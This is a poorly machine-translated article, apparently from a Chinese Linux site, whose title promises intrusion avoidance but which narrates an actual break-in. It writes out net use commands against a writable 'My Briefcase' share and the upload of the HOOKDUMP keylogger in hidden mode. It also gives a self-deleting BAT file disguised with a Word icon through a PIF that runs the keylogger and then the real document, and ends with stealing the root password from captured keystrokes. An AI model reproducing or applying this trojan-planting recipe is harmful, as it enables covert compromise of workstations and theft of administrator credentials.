Avoids Linux operating system intrusion.

Article Title: avoiding Linux operating system intrusion. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
Once upon a time, I found a website, which is a regular intrusion. Well, its FINGER is on, so I compiled a SHELL and the aaa account tried zzz (by the way, this is an online rule I found, that is, the length of the account is proportional to the strength of the password. If an account has only two or three digits long, the password is generally very simple, and vice versa, so it is also called the owner's theorem ), as a result, an account does not exist. I did not try again. Because I was attracted by the port opened by it, and it opened WWW, I don't believe it won't go wrong. Five kinds of CGI and WWW scanners were taken in a row. A total of 300 or 400 common errors were scanned, and almost none of them existed. (There are several errors, but I don't know how to use them. Forget it. A few laps around the host, like a fox meeting a hedgehog, no way to mouth.
　　
Let's take a look at the root Information:
　　
Finger root@xxx.xxx.xxx
Login name: root In real life: system PRIVILEGED account
Directory:/Shell:/bin/sh
Last login Fri Jul 28 on ttyp0 from 202. xx
No Plan.
　　
Root often comes. The 202. xx is his workstation. Will you see something from there?
　　
Net view \ 202. xx
Shared resources at \ 202. xx
　　
Sharename Type Comment
　　
X
X
My briefcase
The command was completed successfully.
　　
The "file and printer sharing" service on WINDOWS is easy for many people to take lightly. This root is no exception. It would be nice if its drive C is shared and writable, but it is a dream. Now, no shared directory is the root directory, and no D Drive is available. Don't worry. Come on. The folders dropped by x are useless and cannot be written. There are all original English files in the folder. This root is quite good. "My Briefcase" attracted my attention. This is a tool used to synchronize data on different machines. Obviously, this root often updates the home page on the host, sometimes it is compiled on your own machine, sometimes on the host ...... So it is very important that the sharing of "My Briefcase" is generally writable!
　　
Then let me go in.
　　
> Net use I: \ 202. xx
> I:
> Echo asdf> temp.txt
　　
Yes, it is indeed writable.
　　
> Del temp.txt
　　
No trace-hacker habits.
　　
> Dir/od/p
　　
Let's look at something ...... What is that in the second row? “X .doc "! It is the plan. Since it is a plan, it cannot be written and lost. It will certainly open it again-at least COPY the plan for the next month:->
　　
It's time to start. My goal is to let it hit my trap and run my hidden Trojan next time. I am using a keyboard recording software HOOKDUMP this time. I think it is quite good, affordable, and sufficient ...... Sorry, I'm used to it. It should not only record all the keys, but also record what programs are opened or closed, what buttons are pressed, and what menus have been used ...... In short, its records let you stand behind him and watch him operate the computer as detailed as you are. Why are you installing so many Trojans? Do you know that China's glaciers, netspy, and foreign netbus and BO are all listed as the number one targets of anti-virus software, and it is impossible to install anti-virus software on a root machine? It's still HOOKDUMP. It's small and inconspicuous. But if you use it all, you will lose the chance to use it ......
　　
> Copy hookdump. * I:
　　
Add: Compile the hookdump. ini file before uploading, and set it to a hidden mode for running. Otherwise, a large window will pop up on the screen of the root user .......
　　
Then compile a BAT file with the same name on your machine: X-month work plan. BAT
　　
> Edit c: \ X monthly work plan. BAT
@ Echo off
Hookdump
Attrib-h xmonth Work Plan .doc
C: \ Program Files \ Microsoft \ Office \ Winword x .doc
Attrib-h temp. bat
Del temp. pif
Del temp. bat
　　
See it, right? After the root node runs the BAT file, it actually runs the trojan first, then calls the WINWORD file to open the file it wants to open, and then deletes itself. Maybe it has different WINWORD locations on the machine, the call will fail, but it doesn't matter. BAT will immediately delete it and he will think it is his own misoperation.
　　
At this time, the root directory of your C drive has such a BAT file. It is a square icon, which is very different from that of the WORD file. How can root run it? It doesn't matter. Right-click the file, click Properties, and select "change icon" in the "program" column? The WORD icon is in your machine C: \ Program Files \ Microsoft \ Office. Change "run" to "minimal", and tick "close upon exit" to ensure that there is no indication at runtime. In fact, this BAT file is changed to two, and another PIF file is its icon.
　　
Upload these two files:
　　
> Copy X monthly work plan. bat I:
> Copy X monthly work plan. pif I:
　　
Then, it hides both its files and its own files:
　　
> Attrib + h xmonth Work Plan .doc
> Attrib + h X monthly work plan. bat
　　
In this way, there is only one WORD icon identical to the original one in the root "briefcase". He never dreamed that it had changed to a BAT file. Then we can take a breath and let us wait ......
　　
A few days later, I went to this workstation, took down the recorded key record, found out the root password, and entered the host.